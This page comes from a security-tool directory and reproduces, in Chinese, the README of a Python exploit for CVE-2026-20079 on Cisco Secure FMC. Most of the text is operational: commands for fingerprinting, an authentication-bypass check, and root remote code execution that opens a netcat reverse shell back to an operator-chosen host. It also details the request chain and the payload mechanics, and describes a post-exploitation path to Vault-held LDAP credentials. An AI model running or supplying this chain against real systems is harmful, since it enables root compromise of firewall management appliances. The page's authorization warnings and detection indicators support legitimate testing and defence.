Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-20079 — 针对 Cisco Secure FMC 实现 CVE-2026-20079 认证绕过至 root RCE 的利用链,支持指纹识别、检测、验证和交互式利用模式。 | Kitploit
工具/GitHubGitHub/cyberauth/cve-2026-20079
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证Payload 开发
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

针对 Cisco Secure FMC 实现 CVE-2026-20079 认证绕过至 root RCE 的利用链,支持指纹识别、检测、验证和交互式利用模式。

查看仓库
3天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-20079 Cisco Secure FMC PoC

Python 概念验证,针对公开文档记载的 Cisco Secure Firewall Management Center 中 CVE-2026-20079 的认证绕过到 root RCE 漏洞链。

这不是新漏洞,也不是独立开发的利用链。它是 VulnCheck 发布的请求序列的洁净室实现,包含独立的指纹识别、检查、一次性验证和交互式利用模式。

快速安装

需要 Python 3.10 或更高版本。在 Linux 或 macOS 上:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help

root@kitploit:~
## 替换示例地址

下面的所有 `192.0.2.x` 值都是保留的文档地址。它们是占位符,不是已发现的目标信息,必须替换为授权评估中的实际值。这些命令不应指望在未修改的情况下直接运行。

| 示例 | 含义 | 应替换为 |
| --- | --- | --- |
| `https://192.0.2.10` | 目标 FMC URL | 经授权的确切 FMC 协议、地址和端口 |
| `192.0.2.20` | FMC 回连的地址 | 操作员监听端的 IP 地址或 DNS 名称,**且从 FMC 角度可访问** |
| `192.0.2.0/24` | 示例指纹 CIDR | 明确授权的网络范围 |
| `4444` | 回调/监听 TCP 端口 | 回调系统上经批准且可访问的端口 |
| `0.0.0.0` | 监听端在操作员系统上的绑定地址 | 保留以监听所有本地接口,或改用某个本地接口地址 |
| `--expected-callback-source` 中的 `192.0.2.10` | 预期的回调来源 | 监听端观察到的 FMC 源地址;当 NAT 导致该地址不确定时可省略此选项 |
| `http://127.0.0.1:8080` | 可选的本地拦截代理 | 操作员系统上实际监听的代理 URL |

### 选择 `--callback-host`

使用这条规则:**从 FMC 的角度看,哪个地址能到达操作员的监听端?** 那个地址就是 `--callback-host`。

| 网络路径 | 典型的 `--callback-host` 值 |
| --- | --- |
| 操作员与 FMC 处于同一路由网络 | 操作员系统上可访问的 `eth0`、`en0` 或其他局域网地址 |
| 操作员通过 VPN 访问 FMC | FMC 有到达该 VPN 接口路由时,使用可访问的 VPN 接口地址,如 `tun0` 或 `utun` |
| 操作员位于 NAT 或防火墙之后 | 已将其选定端口转发到操作员系统的公网 IP 或 DNS 名称 |
| 使用回调隧道或 VPS | 可访问的隧道端点或 VPS 地址 |

不要将 `127.0.0.1` 或 `0.0.0.0` 用作 `--callback-host`。`127.0.0.1` 指向 FMC 自身,而 `0.0.0.0` 是监听端的绑定值,并非目标地址。请确保路由、防火墙规则以及任何端口转发都允许 FMC 通过 `--callback-port` 访问 `--callback-host`。

`--listen-host` 仅限本地使用:它选择集成监听端等待连接的接口。其默认值 `0.0.0.0` 表示监听所有本地接口。它不会告诉 FMC 该连接到何处。因此,`--callback-host` 和 `--listen-host` 可以不同,尤其是在跨越 NAT 时。

### 工作示例:操作员与 FMC 处于同一网络

假设以下虚构的纯文档实验室:```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

这些值对应到命令如下:

  • --target https://192.0.2.10 标识正在被评估的 FMC。
  • --callback-host 192.0.2.20 是操作员系统的 eth0 地址,因为 FMC 可以直接路由到该地址。
  • --callback-port 4444 是回调所使用的已批准 TCP 端口。
  • --listen-host 0.0.0.0 使集成监听器接受任何本地接口(包括 eth0)上的回调。

该示例的一次性验证命令将是:```bash python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0

root@kitploit:~
流程是:操作者向 `192.0.2.10` 发送 HTTPS 请求,然后 FMC
回连到操作者的 `192.0.2.20:4444`。在真实评估中,
先替换这两个 IP 地址,并在运行命令前确认回程路由。
如果 FMC 无法到达操作者的 `eth0` 地址,则改用
上文所述的可达 VPN、NAT、隧道或 VPS 地址。

## 模式与快速命令参考

| 模式 | 网络或目标效果 | 成功证明的内容 |
| --- | --- | --- |
| `--fingerprint` | 仅发送 GET 请求 | 可能是 FMC Web 界面;并非漏洞确认 |
| `--check` | 升级服务端会话状态 | 绕过身份验证并获取操作令牌 |
| `--proof` | 写入并运行受限的回调载荷 | 以 root 权限执行并完成清理,无需交互式 shell |
| `--exploit` | 写入并运行 FIFO/netcat 载荷 | 交互式 root 回调,或通过 `--auto-verify` 进行受限验证 |

一次性设置这三个示例值,分别替换为已授权目标、操作者回调地址和端口:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

然后选择恰好一种模式:```bash

GET-only product fingerprint; start here

python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

Intrusive authentication-bypass check; changes server-side session state

python3 CVE-2026-20079.py --check --target "$FMC_URL"

One-shot root proof with integrated listener and verified cleanup

python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Interactive root callback; first start one listener in another terminal:

Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"

macOS built-in netcat: nc -lvn "$CALLBACK_PORT"

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Bounded root verification and cleanup instead of an interactive shell

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify

root@kitploit:~
> [!IMPORTANT]
> 指纹识别是一种启发式的产品识别步骤,而不是漏洞
> 检查。`MATCH` 和 `LIKELY` 并不证明目标已受影响或
> 可利用,`NO_MATCH` 也不排除 FMC。反向代理、自定义
> 登录页面、访问控制、网络故障或产品变更都可能影响
> 结果。

指纹识别会发送网络请求,但不会运行认证
绕过或 RCE 链。请阅读下面的分类详情、模式描述和
会话状态警告,然后再使用 `--check`、`--proof` 或 `--exploit`。

> [!WARNING]
> 未经明确的书面授权,请勿运行 `--check`、`--proof` 或 `--exploit`
> (授权需涵盖目标变更和证明方法)。请阅读
> 先决条件、会话状态限制和回调要求。

## 漏洞利用链的工作原理

主动利用链向 `/login.cgi?logon=Continue` 提供 `CGISESSID=csm_processes`,使用已发布的 `report:snortrules` 机器凭据,从 `/ui/user/general` 提取 `sf_action_id`,通过 `validateLicense` 写入一个 Makeself 格式的脚本,并通过 `SF::UI::DataObjectLibrary::upgradeReadinessCall` 触发它。

## 重要先决条件

受影响的软件版本在测试时并非总是可利用的。启动时创建的 `csm_processes` 会话必须仍然存在。正常的认证 UI 活动和会话清理可能会移除它。不要仅为了满足此先决条件而重启生产 FMC。

## 会话状态限制

`--check`、`--proof` 和 `--exploit` 模式会升级服务器端的 `csm_processes` 会话。PoC 不会尝试将该会话恢复到其原始的部分状态,因为没有供应商记录的降级操作可用。清除客户端 cookie 不会撤销服务器端的更改,而注销、强制过期或删除数据库条目会销毁会话而非恢复它,并可能干扰后续验证或设备行为。自动清理功能只移除临时的 RCE 文件;它们并不声称恢复会话状态。`--fingerprint` 不使用也不修改该会话。

## 目标运行时先决条件

两种回调载荷都要求:

- 兼容的 POSIX 风格 `/bin/sh`。
- `rm` 和 `command`。
- 目标的执行 `PATH` 中可用的 `nc`、`netcat` 或 `ncat` 之一。
- 从 FMC 到所提供回调地址和端口的外联 TCP 连接。

交互式 `--exploit` 载荷额外需要 `mkfifo`。一次性 `--proof` 载荷不会创建 FIFO 或交互式 shell。

载荷在尝试回调之前会检查三个受支持的 netcat 命令名。如果都不存在,它会通过其清理陷阱退出。由于错误发生在盲服务器端执行路径中,测试者观察到的是回调缺失,而不是详细的远程错误消息。

`--auto-verify` 使用 Python 的 socket 库,并且不需要本地 netcat
安装。手动监听模式可以使用 `nc`、`ncat`、`socat` 或其他
操作员选择的 TCP 监听器。

## 仅 GET 的 FMC 指纹识别

对单个 URL 进行指纹识别:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

对包含每行一个 URL、IP 地址、主机名或 host:port 值的文件进行指纹识别:```bash python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10

root@kitploit:~
对明确授权的网络范围进行指纹识别:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

此模式影响较低,并非字面意义上的被动:它会发送网络请求。全局禁用重定向,该工具仅跟随实际 HTTP 重定向到精确的 /ui/login 路径,且该路径保持原始协议、主机和端口。在工具报告 MATCH 或 LIKELY 之前,登录响应必须成功(HTTP 2xx)。它不会附加漏洞利用 cookie、提交凭据、发送 POST 请求、跟随外部重定向、检查版本,或证明 CVE-2026-20079。MATCH 表示在成功的响应中观察到了品牌标识,LIKELY 表示成功的同源登录路由在原始 HTML 中没有品牌标识的情况下匹配,而 NO_MATCH 表示受限指纹未识别出 FMC。

只有 --fingerprint 接受 --targets-file 或 --network。检查、验证和利用模式刻意保持单目标操作。文件和 CIDR 扩展会去重,并由 --max-hosts(默认 4096)限制,而并发由 --workers(默认 10,最大 100)限制。

侵入式身份验证绕过检查```bash

python3 CVE-2026-20079.py
--target https://192.0.2.10
--check

root@kitploit:~
成功要求同时具备预期的 HTTP 302 会话升级,以及包含特定会话 `sf_action_id` 的 200 响应。

PoC 在请求链中于内存中保留完整的操作令牌,但仅打印缩短的指纹。应将包含完整令牌的原始响应体视为敏感的会话证据,切勿公开发布。

检查成功后,服务端会话保持升级状态。该工具会明确报告这一点,并且不会尝试未记录的回滚。

## 一次性 root 证明

当需要 root 执行证据但不需要交互式 shell 时,请使用此选项:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

Proof 模式总是在文件写入请求之前启动集成监听器。目标会发送随机的开始/结束标记、id、主机名、构建目录名以及 /var/tmp/license.tmp 清理状态,然后断开连接。成功需要 uid=0(root) 以及验证临时脚本确实不存在。它不会创建 FIFO、暴露交互式命令通道,也不会运行特定于环境的后渗透操作。

Root-shell 验证

在授权的回调系统上启动监听器:```bash

Linux (common netcat variants)

nc -lvnp 4444

macOS built-in netcat

nc -lvn 4444

root@kitploit:~
运行一条适合回调系统的监听命令,不要同时运行两条。

然后运行:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

验证回调:```bash id hostname -f

root@kitploit:~
该 PoC 会打印确切的临时 FIFO 路径。仅从 FMC shell 中移除这两个已知的漏洞利用工件:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

自动 root 验证与清理

该 PoC 可以运行自己的回调监听器,并自动执行受限的后渗透操作:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify

root@kitploit:~
`--auto-verify` 仅通过回调执行以下操作:

1. 运行 `id` 并要求 `uid=0(root)`。
2. 收集 `hostname -f` 和 FMC 构建目录名称。
3. 删除本次运行创建的确切随机 FIFO 以及 `/var/tmp/license.tmp`。
4. 验证这两个路径均不存在。
5. 退出回调。

生成的 payload 还会在执行开始时立即取消链接 `/var/tmp/license.tmp`,并为两个临时路径安装 shell 退出/信号清理处理程序。自动验证仍会执行,并检查独立的显式清理。如果尝试写入但回调或清理证明不完整,PoC 会以非零状态退出,并打印可能需要授权人工审查的两个确切路径。

如果回调地址与本地绑定地址不同,请单独指定后者:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

当回调源应为 FMC 地址本身,且不涉及回调侧 NAT 时,监听器可以拒绝无关连接:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10

root@kitploit:~
未能收到回调并不能区分目标已修补、缺少引导会话、出站被阻止、目标端 netcat 实现不可用/不兼容,还是其他运行时故障。

自动 Vault 枚举、凭据提取、持久化和横向移动被有意排除在外。这些活动并非证明 CVE-2026-20079 所必需,且依赖于特定环境的授权与配置。

## 为什么 PoC 使用 FIFO/netcat

第一次手动复现使用了 Bash `/dev/tcp` 回调。两个 HTTP
利用阶段均返回了预期响应,但没有连接到达。
这表明为何仅凭 HTTP 状态不能证明命令执行,以及为何
不应假设设备上存在特定 shell 的回调特性。

成功的重试使用了 FIFO/netcat 兼容模式,该模式记录在
公开研究中。因此,此 PoC 直接采用这一已验证模式,
并且刻意不重试失败的 `/dev/tcp` 方法。它会检查
`nc`、`netcat` 或 `ncat`,在自动模式下要求实际回调与 `uid=0(root)`,
并在缺少回调或清理证明时返回非零值。
它无法确定盲目回调失败的确切原因,因此会
报告合理的运行时与网络前提条件,而不是声称
目标已修补。

## 后渗透范围

本仓库将 CVE 从未认证状态自动化到经过验证的 root 回调及清理。它**不**自动化凭据收集、机密导出或横向移动。

在一次获授权的评估中,产生的 root shell 暴露了 FMC 上本地运行的 HashiCorp Vault 服务。一个设备本地的 Vault 客户端令牌允许访问已配置的 LDAP 凭据记录,而该凭据随后完成了获授权的 LDAPS 绑定。这是从一个环境中观察到的后渗透路径,并非 CVE-2026-20079 的普遍特性或前提条件。

参见 [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) 了解第一人称研究故事:公开背景、手动利用过程、失败的回调、成功的兼容性载荷、观察到的后渗透路径、经验教训,以及此工具的最终开发。

## 可选代理

要在拦截代理中观察请求:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

证据标准

仅凭 HTTP 302 或 HTTP 200 并不能证明 root RCE。请按以下方式对待该问题:

  • 仅当 --fingerprint 观察到受限的登录行为或品牌标识时,才识别出 FMC 表面;这本身并不是一个漏洞发现。
  • 仅当升级后的会话产生有效的 sf_action_id 时,才确认认证绕过。
  • 仅当受控监听器收到回调且 id 报告 uid=0(root) 时,才确认 root RCE。

集成的监听器使用每次运行随机化的验证标记,限制捕获的回调输出,可选地过滤回调来源,并在无法验证 root 或清理时返回非零状态。手动监听器模式无法向 Python 进程证明这些条件;其成功退出意味着 HTTP 链已提交,而非独立观察到 root 执行。

退出状态

  • 0:指纹识别完成且至少有一个非错误结果;--check 确认了认证绕过;--proof 或 --auto-verify 确认了 root 和清理;或手动监听器模式成功提交了预期的 HTTP 链。
  • 1:目标未匹配预期响应,回调/root/清理证明失败,或发生请求/监听器错误。
  • 2:无效的命令行参数。
  • 130:被操作者中断。如果已尝试写入载荷,工具还会打印清理状态仍未验证的精确路径。

检测机会

  • 使用 csm_processes cookie 和 report 机器用户向 /login.cgi?logon=Continue 发送 POST。
  • 会话升级后立即向 /ui/user/general 发送请求。
  • 向 /sajaxintf.cgi?rs=callServerFunc 发送 validateLicense 请求。
  • 向 /pjb.cgi 提交 SF::UI::DataObjectLibrary::upgradeReadinessCall。
  • 创建或执行包含 Makeself 标记的 /var/tmp/license.tmp。
  • 在 /tmp 下创建 FIFO,交互式 /bin/sh、nc,以及来自 FMC 的意外出站流量。

开发与测试

快速设置会将 requirements.txt 中的运行时依赖安装到隔离的虚拟环境中。在不接触公共目标的情况下运行标准库单元测试和本地模拟集成测试:```bash python3 -m unittest discover -s tests -v

root@kitploit:~
## References

- [Cisco 公告](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck 技术分析](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## 法律声明

仅在你拥有或获得明确书面授权测试的系统上使用。
此概念验证能够更改服务器端会话状态并以 root 身份执行命令。
你有责任获取授权、定义安全范围与证明边界、保护收集的证据,并遵守
适用的法律、合同以及供应商或项目规则。作者和贡献者不授权任何
非法访问、破坏或数据收集行为。

本软件按“原样”提供,不附带任何担保;作者和版权持有人在法律允许的
最大范围内不承担任何责任。完整条款请参见 [MIT 许可证](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE)。
本使用说明不修改也不限制该许可证。
下载工具